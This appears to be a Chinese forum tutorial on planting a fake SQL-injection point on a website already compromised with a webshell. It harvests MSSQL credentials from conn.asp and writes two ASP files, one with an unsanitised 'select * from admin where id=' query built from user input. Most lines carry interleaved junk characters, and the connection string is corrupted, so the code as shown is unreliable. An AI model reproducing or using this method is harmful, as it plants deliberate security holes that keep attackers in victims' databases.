首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
5 L% h, n y" a3 zASP/Visual Basic代码 [. M( H% J9 c. O6 K: L- Q( D$ E
<!--#include file="xx.asp"-->
' g0 @/ v/ J3 x/ C9 d' n4 l<%
1 w* P% m* |+ J) w6 A9 l; dset rs=server.createobject("ADODB.recordset")
) K# s: P' c8 Tid = request("id") 5 i7 }/ K# N! o7 B
strSQL = "select * from admin where id=" & id % |* ] ^" L- J% f6 I# ]7 f
rs.open strSQL,conn,1,3
9 R g1 W$ `+ G$ C4 p* _8 ers.close
& W5 ^ A* S5 A n0 U%>
$ w o+ v! y8 y9 \把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!1 p$ }5 _& V" o3 C p- c6 o
然后就要构造一个连接数据库的文件了,代码如下:. _6 Q# U2 o/ q! @3 e
ASP/Visual Basic代码9 d7 T7 }7 K y: U* K6 S
<% . [1 B" S# k @5 ?" h* ?
strSQLServerName = "000.000.000.000" '服务器名称或地址
) U: v/ i' Q3 k$ a# GstrSQLDBUserName = "sqlname" '数据库帐号 : L4 I5 b8 J4 L; c: i
strSQLDBPassword = "sqlpass" '数据库密码
( E0 L! @8 ~- t2 _& j4 b# {strSQLDBName = "sqldataname" '数据库名称 6 j! ]8 k/ K6 ~& ^
Set conn = Server.CreateObject("ADODB.Connection")
. G$ w2 T3 H& u3 wstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
, ?) s' j# j' U& D2 I! _conn.open strCon
$ V. P. F5 ~; M6 O8 `5 A%>
/ _9 T$ N$ p7 @$ k5 ~( i) c1 v- w这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
% }; e, }% h* Y" n2 f5 r" I& n |